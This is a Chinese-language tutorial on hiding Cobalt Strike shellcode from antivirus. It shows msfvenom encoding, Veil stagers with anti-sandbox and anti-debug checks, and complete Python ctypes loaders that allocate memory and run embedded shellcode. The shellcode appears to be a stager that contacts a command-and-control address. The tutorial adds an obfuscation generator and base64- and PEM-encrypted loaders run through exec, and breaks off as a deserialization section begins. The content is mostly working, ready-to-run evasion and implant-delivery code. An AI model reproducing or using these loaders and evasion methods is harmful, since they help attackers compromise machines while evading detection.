msfvenom
对CS生成的payload 使用msfvenom编码
// -f 指定输出格式,可以生成任意格式的shellcode 。 //源文件(cat 的shellcode) 可以是二进制或16进制的shellcode(cs生成raw/c/py) cat payload.bin |msfvenom -e x64/xor -o test.bin -a x64 --platform windows //生成的test.bin 是二进制shellcode,可以再转成16进制用C或python写加载器加载 cat shellcode.txt |msfvenom -e x64/xor -o xor_shellcode.py -a x64 --platform windows -f python //shellcode.txt 是16进制shellcode, //-e 编码方式(x86/shikata_ga_nai) //-i 编码次数 //-b 在生成的程序中避免出现的值 ( 过滤坏字符 '\x00,\xff')
测试:
msfvenom对cs生成的raw格式的shellcode进行编码,输出python格式的编码
提取出来,放到加载器,运行即可:
veil
可以使用veil对CS生成的16进制shellcode进行处理
Veil docker版本:
拉取镜像
docker pull mattiasohlsson/veil
启动容器
docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
其中/tmp/veil-output为我物理机系统的路径
之后再进入镜像可以在启动镜像后使用下面命令
docker exec -it 容器ID /bin/bash
Veil主要分为两个功能:
这里使用到的是 Evasion 。
使用list 看到41种stager
这里用到的是python相关的几个
29) python/shellcode_inject/aes_encrypt.py 30) python/shellcode_inject/arc_encrypt.py 31) python/shellcode_inject/base64_substitution.py 32) python/shellcode_inject/des_encrypt.py 33) python/shellcode_inject/flat.py 34) python/shellcode_inject/letter_substitution.py 35) python/shellcode_inject/pidinject.py 36) python/shellcode_inject/stallion.py
我们以31) python/shellcode_inject/base64_substitution.py
演示一下:
use 31
接下来看到以下设置,意思是该stager执行时执行哪些检查与必要的配置(可以保证只有在满足指定条件时才会注入并执行嵌入的shellcode从而避免被沙箱等引擎行为分析)
具体解释下:
**BADMACS** 设置为Y表示查看运行环境的MAC地址如果不是虚拟机才会执行payload (反调试) **CLICKTRACK** 设置为4表示 表示需要4次点击才会执行 **COMPILE_TO_EXE** 设置为Y表示 编译为exe文件 **DISKSIZE** 设置为100表示 运行环境的硬盘大小如果大于100GB才会执行payload (反沙箱) **HOSTNAME** 设置为Comp1表示 只有在Hostname计算机名为Comp1时才会执行payload(指定目标环境 反沙箱的方式) **INJECT_METHOD** 可设置为Virtual 或 Heap **MINPROCS** 设置为20表示 只有运行环境的运行进程数大于20时才会执行payload(指定目标环境 反沙箱的方式) **PROCCHECK** 设置为Y表示 只有运行环境的进程中没有虚拟机进程时才会执行payload(指定目标环境 反沙箱的方式) **PROCESSORS** 设置为2表示 只在至少2核的机器中才会执行payload(指定目标环境 反沙箱的方式) **RAMCHECK** 设置为Y表示 只在运行环境的内存为3G以上时才会执行payload(指定目标环境 反沙箱的方式) **SLEEP** 设置为10表示 休眠10秒 以检测是否运行过程中被加速(反沙箱) **USERNAME** 设置为Tom表示 只有在当前用户名为Tom的机器中才执行payload。 **USERPROMPT** 设置为Y表示 在injection之前提醒用户(提示一个错误框,让用户误以为该程序执行错误才无法打开) **DEBUGGER** 设置为Y表示 当被调试器不被attached时才会执行payload (反调试) **DOMAIN** 设置为Comp表示 受害者计算机只有加入Comp域中时,才会执行payload(指定目标环境 反沙箱的方式) **UTCCHECK** 设置为Y表示 只在运行环境的系统使用UTC时间时,才会执行payload
这里简单设置几个
然后输入,generate
,然后选择3
输入CS的16进制 shellcode字符串:
然后输入生成文件的名称for_test, 生成了2个文件:
来看一下生成的代码:
base64_sanbox_test.py
import win32api rYvnOAL = 0 iQNSBwRpPNii = 4 while rYvnOAL < iQNSBwRpPNii: oRZxcjjWNWxMTV = win32api.GetAsyncKeyState(1) SxQGYer = win32api.GetAsyncKeyState(2) if oRZxcjjWNWxMTV % 2 == 1: rYvnOAL += 1 if SxQGYer % 2 == 1: rYvnOAL += 1 if rYvnOAL >= iQNSBwRpPNii: import time as KWZIlBfZMcYj if KWZIlBfZMcYj.tzname[0] != "Coordinated Universal Time" and KWZIlBfZMcYj.tzname[1] != "Coordinated Universal Time": from time import sleep from socket import AF_INET, SOCK_DGRAM import sys import datetime import time import socket import struct client = socket.socket(AF_INET, SOCK_DGRAM) client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123)) msg, address = client.recvfrom( 1024 ) QwIeOKFgBDkV = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800) sleep(10) client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123)) msg, address = client.recvfrom( 1024 ) if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - QwIeOKFgBDkV).seconds >= 10): import ctypes as ycVksxvEXqvTANC import base64 hmyBiUmcHsutivM = base64.b64decode("/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/////TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOii////LzRteEQAp9Aj4CqXYbbIwHANt0VcayUT6GfUbiCX+qjtquwmOrievppIiuOWfNniEdCWAF7js5vbahKPjrUjon47f5JP79wIKCw84ql6JABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMDsgTUFBVTsgTlAwOCkNCgAYZADngQNwh2cj52nugbTcxg6nAqiGJ9aKZHF0UzytK8rYtQ/Ue44z2BrXSJXR+jQZ0NuVJ5wsbYDW4+BnA5XpAixgwvPUl2NgN9uvL13TtnDrtzlYcRTypNyby6fLmF47VktLOpJQ8spLj2799CdoePvnZLMU7ZSCupFZEmJ7t95KUW0Hv7GkJatMMXMb8JiDNj+Q4b/VQAqSThp/eNg1NiTtEE7u+UwREUSGfhqF8Yjkzj7Jsgtpg3LCmej9Lm8LN9l+L7zRBF8AQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTExLjEzMQASNFZ4") rMXYpPMXynT = ycVksxvEXqvTANC.windll.kernel32.VirtualAlloc(ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(len(hmyBiUmcHsutivM)),ycVksxvEXqvTANC.c_int(0x3000),ycVksxvEXqvTANC.c_int(0x04)) ycVksxvEXqvTANC.windll.kernel32.RtlMoveMemory(ycVksxvEXqvTANC.c_int(rMXYpPMXynT),hmyBiUmcHsutivM,ycVksxvEXqvTANC.c_int(len(hmyBiUmcHsutivM))) pmRnvgX = ycVksxvEXqvTANC.windll.kernel32.VirtualProtect(ycVksxvEXqvTANC.c_int(rMXYpPMXynT),ycVksxvEXqvTANC.c_int(len(hmyBiUmcHsutivM)),ycVksxvEXqvTANC.c_int(0x20),ycVksxvEXqvTANC.byref(ycVksxvEXqvTANC.c_uint32(0))) IXUkyI = ycVksxvEXqvTANC.windll.kernel32.CreateThread(ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(rMXYpPMXynT),ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.pointer(ycVksxvEXqvTANC.c_int(0))) ycVksxvEXqvTANC.windll.kernel32.WaitForSingleObject(ycVksxvEXqvTANC.c_int(IXUkyI),ycVksxvEXqvTANC.c_int(-1))
生成了一些反沙箱的代码。
作为对比,我们啥都不修改,直接生成看一下:
base64_test.py
import ctypes as utHlfsE import base64 znDuyLotmJPitl = base64.b64decode("/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/////TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOii////LzRteEQAp9Aj4CqXYbbIwHANt0VcayUT6GfUbiCX+qjtquwmOrievppIiuOWfNniEdCWAF7js5vbahKPjrUjon47f5JP79wIKCw84ql6JABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMDsgTUFBVTsgTlAwOCkNCgAYZADngQNwh2cj52nugbTcxg6nAqiGJ9aKZHF0UzytK8rYtQ/Ue44z2BrXSJXR+jQZ0NuVJ5wsbYDW4+BnA5XpAixgwvPUl2NgN9uvL13TtnDrtzlYcRTypNyby6fLmF47VktLOpJQ8spLj2799CdoePvnZLMU7ZSCupFZEmJ7t95KUW0Hv7GkJatMMXMb8JiDNj+Q4b/VQAqSThp/eNg1NiTtEE7u+UwREUSGfhqF8Yjkzj7Jsgtpg3LCmej9Lm8LN9l+L7zRBF8AQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTExLjEzMQASNFZ4") ZDalvXpwBNnVvq = utHlfsE.windll.kernel32.VirtualAlloc(utHlfsE.c_int(0),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x3000),utHlfsE.c_int(0x04)) utHlfsE.windll.kernel32.RtlMoveMemory(utHlfsE.c_int(ZDalvXpwBNnVvq),znDuyLotmJPitl,utHlfsE.c_int(len(znDuyLotmJPitl))) pmVvUiefseHqNNY = utHlfsE.windll.kernel32.VirtualProtect(utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x20),utHlfsE.byref(utHlfsE.c_uint32(0))) JZcSPsSDPnvgtn = utHlfsE.windll.kernel32.CreateThread(utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.pointer(utHlfsE.c_int(0))) utHlfsE.windll.kernel32.WaitForSingleObject(utHlfsE.c_int(JZcSPsSDPnvgtn),utHlfsE.c_int(-1))
这里直接是换了些随机的变量名,然后shellcode进行base64编码。
然而,前面的代码虽然增加了反沙箱的操作,但是无疑给杀软提供了更多可能被识别出来的特征,我们还需要对这些特征进行规避,所以它并不一定会更安全。
再来看一个 aes加密的:
29) python/shellcode_inject/aes_encrypt.py
ase_test.py
import ctypes as iiNDktFoHGVBRd from Crypto.Cipher import AES import base64 yVVpTTnNP = AES.new('Bk1hMf9k$.f?XbO4u^#Qg#yS$/m9tyG/', AES.MODE_CBC, 'zOYsRtGtNOlkuHLd') ZDRmJB = base64.b64decode('P6mAFv7b2EUDyANT5IMpOFXjdi4CBpqI0haGvxx/MwntkX69V8dq7gF9nac+uYYzEnQ+z0rRP7YJFn7I3k0ZJX5fxbuVHd6lhHoIcgrDmn8w8fTG4Pfjct5j2Zaoe+XWMUKnPmJdMRtbUy55YNcLPcX3haC0w8W7tQgecOe/Uz4nzylQGHOcEWBrZmmX1GpohYFR3hPIGq9wW8Y2lTkLlTI/pWngUOHWMFC16B5BGDWGSqSSBNrp3VlEo6fXtV5BRlDgAUvi2kht0Vp4ElBizVAWoDl8e4xWzoUcNUOlbwNVEnxSdAujbt1tzb7pyYaOxUlFaheGbuwD9E5Uk5PVWDvns/NVrDxmhJuzQYqHnrn3eF9i8pLFJs1ZwgL/WNgpTGvNrWmu5PZ5LIbbQXgaCDhaehjhqMNpRqyzhg/kEfAxKSc4w1gwrwga5knFUlJPmSmRJysZwp7YO57lIcOt3MklQcLjdEqjlHEidbWdWLkfsffMfD86hxjkgJaKtTwQLf6DOMeCyOGMfZAe1nTTyctYmIv3rd8pprmnpyxrdBkSKi1ZbP8U3ytBNGrQdG1AhClT/uhFVOO/mbvkzz3xY61/GvRtdz+58HhQdhwmxJ1Ma4Mk80aPHzmCOBX6kbEud350oUGWv11p6A+Rae40MmH+juk0D6JMXA0B9Kb4YGetkMMWn87ryRxh/yp71q8v6DGAIZfiBYImnH6abtkIJmw+58+7kzWsrSsv2X9TSeF6MlXOhpRxDpAmgf64dqxpM/QjSRdzQFHy5QV524hGP8MOiuYwVGZikslIAygRzBKLL6ZhZ02u7lcmDpXVsXBJEnaKf/GItnVgh5WIgBPJZ4R6Qv2lr62Iw4HGIhluiPcVcsRehKcW9pp2rxEQ6X4WKe+qDQrgxKUBGJmM8sg3xifochNv1Pq64V7ADxYt4BV/pQvoYRvcaM8AImtNJUIcREH5ZxdMegM19dtbsQ7db2O1twrVbsGvPjafr+qTuxIctBXVY/kTwiaeHTpzXYXjPb72ej1EYDtWyhycEPOKBtH0E86oJIkkcOD0GpAwMg4U6BSYCQIMXZ6sWa0DfeQKlDOOKy+/PZiNnwXnzvYG205RcX2SCF4XR54wjsWOdmcTArGVYiVsJhRoKLd370zjiebUfLE7UDrJ8ejmljdznaAsga4nLnyUSrZ3joGkfDU=') ORopsFE = yVVpTTnNP.decrypt(ZDRmJB) GkXYbXjZw = iiNDktFoHGVBRd.windll.kernel32.VirtualAlloc(iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(len(ORopsFE)),iiNDktFoHGVBRd.c_int(0x3000),iiNDktFoHGVBRd.c_int(0x04)) iiNDktFoHGVBRd.windll.kernel32.RtlMoveMemory(iiNDktFoHGVBRd.c_int(GkXYbXjZw),ORopsFE,iiNDktFoHGVBRd.c_int(len(ORopsFE))) MccFSqvaZINBB = iiNDktFoHGVBRd.windll.kernel32.VirtualProtect(iiNDktFoHGVBRd.c_int(GkXYbXjZw),iiNDktFoHGVBRd.c_int(len(ORopsFE)),iiNDktFoHGVBRd.c_int(0x20),iiNDktFoHGVBRd.byref(iiNDktFoHGVBRd.c_uint32(0))) suNTtNpnntOupUa = iiNDktFoHGVBRd.windll.kernel32.CreateThread(iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(GkXYbXjZw),iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.pointer(iiNDktFoHGVBRd.c_int(0))) iiNDktFoHGVBRd.windll.kernel32.WaitForSingleObject(iiNDktFoHGVBRd.c_int(suNTtNpnntOupUa),iiNDktFoHGVBRd.c_int(-1))
它做的也是 shellcode ase加密,给ctypes换了个别名,随机变量名。
当然,作为开源软件,veil的特征已经被杀软标记了,它的免杀效果已经不怎么样了,不适合拿来直接用。
我们只是用来对shellcode进行混淆,以及获取一些反沙箱的代码。
加载器代码混淆
前面说的只是对shellcode进行混淆,但是杀软可不只是检测shellcode,所以我们还要对加载代码进行混淆。
shellcode部分可以使用其他编码,与加载器分开处理。以下shellcode均使用base64编码作为测试。
随机变量名
veil生成的代码里用到了这种方法
比如:
ctypes->utHlfsE
、shellcode->znDuyLotmJPitl
、ptr->ZDalvXpwBNnVvq
......
import ctypes as utHlfsE import base64 znDuyLotmJPitl = base64.b64decode("/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/////TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOii////LzRteEQAp9Aj4CqXYbbIwHANt0VcayUT6GfUbiCX+qjtquwmOrievppIiuOWfNniEdCWAF7js5vbahKPjrUjon47f5JP79wIKCw84ql6JABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMDsgTUFBVTsgTlAwOCkNCgAYZADngQNwh2cj52nugbTcxg6nAqiGJ9aKZHF0UzytK8rYtQ/Ue44z2BrXSJXR+jQZ0NuVJ5wsbYDW4+BnA5XpAixgwvPUl2NgN9uvL13TtnDrtzlYcRTypNyby6fLmF47VktLOpJQ8spLj2799CdoePvnZLMU7ZSCupFZEmJ7t95KUW0Hv7GkJatMMXMb8JiDNj+Q4b/VQAqSThp/eNg1NiTtEE7u+UwREUSGfhqF8Yjkzj7Jsgtpg3LCmej9Lm8LN9l+L7zRBF8AQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTExLjEzMQASNFZ4") ZDalvXpwBNnVvq = utHlfsE.windll.kernel32.VirtualAlloc(utHlfsE.c_int(0),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x3000),utHlfsE.c_int(0x04)) utHlfsE.windll.kernel32.RtlMoveMemory(utHlfsE.c_int(ZDalvXpwBNnVvq),znDuyLotmJPitl,utHlfsE.c_int(len(znDuyLotmJPitl))) pmVvUiefseHqNNY = utHlfsE.windll.kernel32.VirtualProtect(utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x20),utHlfsE.byref(utHlfsE.c_uint32(0))) JZcSPsSDPnvgtn = utHlfsE.windll.kernel32.CreateThread(utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.pointer(utHlfsE.c_int(0))) utHlfsE.windll.kernel32.WaitForSingleObject(utHlfsE.c_int(JZcSPsSDPnvgtn),utHlfsE.c_int(-1))
随机变量生成器
简单生成了些随机变量:
将一些变量名称替换成了随机数,并在代码中间插入随机无效代码。
random_variable.py
import random import string class AutoRandom: def auto_random_int(self,max_int=999,min_int=0): return random.randint(min_int,max_int) def auto_random_str(self,min_length=8,max_length=15): length=random.randint(min_length,max_length) return ''.join(random.choice(string.ascii_letters) for x in range(length)) def auto_random_void_command(self,min_str=500,max_str=1000,min_int=1,max_ini=9): void_command = [ #'print("var1")'.replace('var1',str(self.auto_random_int(999999))), 'var1 = var2 + var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))), 'var1 = var2 - var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))), 'var1 = var2 * var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))), 'var1 = var2 / var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))), 'var1 = "var2" + "var3"'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',self.auto_random_str(min_str,max_str)).replace('var3',self.auto_random_str(min_str,max_str)), 'print("var1")'.replace('var1',self.auto_random_str(min_str,max_str)) ] return void_command[self.auto_random_int(len(void_command)-1)] def make_variable_random(shellcodeloader): shellcodeloader = shellcodeloader.replace("ctypes", AutoRandom.auto_random_str(min_length=8, max_length=15)) shellcodeloader = shellcodeloader.replace("shellcode",AutoRandom.auto_random_str(min_length=8,max_length=15)) shellcodeloader = shellcodeloader.replace("ptr", AutoRandom.auto_random_str(min_length=8, max_length=15)) shellcodeloader = shellcodeloader.replace("buffered", AutoRandom.auto_random_str(min_length=8, max_length=15)) shellcodeloader = shellcodeloader.replace("handle", AutoRandom.auto_random_str(min_length=8, max_length=15)) return shellcodeloader def make_command_random(shellcodeloader): shellcodeloader = shellcodeloader.replace("command1", AutoRandom.auto_random_void_command()) shellcodeloader = shellcodeloader.replace("command2", AutoRandom.auto_random_void_command()) shellcodeloader = shellcodeloader.replace("command3", AutoRandom.auto_random_void_command()) shellcodeloader = shellcodeloader.replace("command4", AutoRandom.auto_random_void_command()) shellcodeloader = shellcodeloader.replace("command5", AutoRandom.auto_random_void_command()) shellcodeloader = shellcodeloader.replace("command6", AutoRandom.auto_random_void_command()) shellcodeloader = shellcodeloader.replace("command7", AutoRandom.auto_random_void_command()) return shellcodeloader if __name__ == '__main__': AutoRandom = AutoRandom() shellcodeloader = ''' 正常shellcode加载器代码 ''' shellcodeloader = make_variable_random(shellcodeloader) shellcodeloader = make_command_random(shellcodeloader) print(shellcodeloader)
使用方法:
将正常shellcode加载器代码去到import
部分在一些部位添加标志位,放到 shellcodeloader:
然后运行:
将生成的代码复制出来,根据生成的随机数,给ctypes库起个别名:
然后运行,即可上线。
base64
shellcode部分可以使用其他编码,与加载器分开处理。以下shellcode均使用base64编码作为测试。
shellcodeloader_base64_encode.py:
import base64 # 加密 #base64_loader = base64.b64encode(b""" xxxx""") base64_loader = base64.b64encode(b""" shellcode = bytearray(buf) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) """) print(base64_loader)
base64_decode_shellcodeloader.py
import base64 import ctypes buf = base64.b64decode(b'/EiD5PDoyAAAAEF......') base64_loader = base64.b64decode(b'CnNoZWxsY29kZSA9IGJ5dGVhcnJheShidWYpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihzaGVsbGNvZGUpKS5mcm9tX2J1ZmZlcihzaGVsbGNvZGUpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeSgKICAgIGN0eXBlcy5jX3VpbnQ2NChwdHIpLAogICAgYnVmLAogICAgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKQopCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpCg==').decode() exec(base64_loader)
运行上面代码,即可上线:
PEM
shellcodeloader_pem_encode.py
from Crypto.IO import PEM #pem_loader = b""" xxx """ pem_loader = b""" shellcode = bytearray(buf) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) """ # 加密 # passphrase:指定密钥,可以为空 passphrase=None # marker:指定名称 buf = PEM.encode(pem_loader, marker="shellcodeloader", passphrase=b'123', randfunc=None)
pem_decode_shellcodeloader.py
from Crypto.IO import PEM import base64 import ctypes buf = base64.b64decode(b'/EiD5PDoyAAAAEFRQV....') # 加密后的shellcodeloader pem_loader = """-----BEGIN shellcodeloader----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,A854E7C9A4B45953 0SOWvJk0PkSI2jcnFkd3RXmqdGLOb7ruOPOv/EnvCMX2ercXRTLGfM3USCLZGPbC bz/LfU812HCDa5OOYXmtZSiRGqvEd5fdZ44kreyK8L1YX0Arf6RbTJz+wnNzR9jT QVQLUVKlR5BFI9vabgNWBLgdDdQqYNKop0HrsznAbx9FpvpPlowkqfBI1L35KYEt CT8UCdJr891Q4Sjtnv+P6rpJF8Gu2UaMMAIIBlFwjG0e1y9M4UL6l5qixDGIICWS 8T619CqurhDpV+1pKcH8K8Ppp0nuaJo9gGKVnb/IafGBuTcjmZnCWSWmAhZpSnCR NDwHbhFRd2N3qZ+gRQLNdHYgQiByQHesg1kRaKlkOziwhDGhcbWjX1Y91fAhSjKL EyuFjzYJNJcYvvvyIlHu1x/fF9MYJRVUbZCD0fcbTNopWGygv5NfOc2SRU9oYJKh XYOQo02pvXxaZhOWaNXRIQjS7xs6948GHSKXWRhddZiXLHxa1LGz3x5vh0DF7vC7 UxoZeocqSAsLLQeuIlzt/uqF+0c/rc1CC9WeqK4sl8pbsZSeURCv5E2Ztq/NYr1z DWR1q/rYTmgIHAJwLKg4bfx/gWWqgQ8KMFXHnuSzTf/eYn7m3BeIKwXW+MisHskb QaHnCItC2q4ISc6Xaz/f4CGWnutKnjRxJsJxbAznHqDEDyGDSTb1KLgcVx9bhLhj xyJYaYII6G+jJjOsWYjmu4xsiAN/AW8HPJUdcYV+XtOrBzZfVlE46YiHbwky31oR Q38gOcfsnz8oeIsGcBPNYpKUaGdgcyXqhVoKlGkWijN5G6j8oKsWw8ABuOn0Qn3Y 4A32/MBX4/2rA0lerBksv7GFUzMik0xe8odPKy77Aks/KYyVZZUuDCs+Of1Ti5e0 -----END shellcodeloader-----""" # 解密 loader = bytearray(PEM.decode(pem_loader, passphrase=b'123')[0]) exec(loader)
运行上面代码,即可上线:
反序列化
关于phthon反序列化相关就不详细展开了,可以看一下下面这篇文章
python 序列化和反序列化使用最为频繁的是cPickle
和pickle
,前者是C语言实现,据说速度比后者快很多。
只不过python3标准库中不再叫cPickle
,而是只有pickle
。python2中两者都有。
pickle
有如下四种操作方法:
与PHP
中的__wakeup
类似,Python
中的__reduce__
方法在对象被反序列化的时候执行。
shellcodeloader_serialize.py
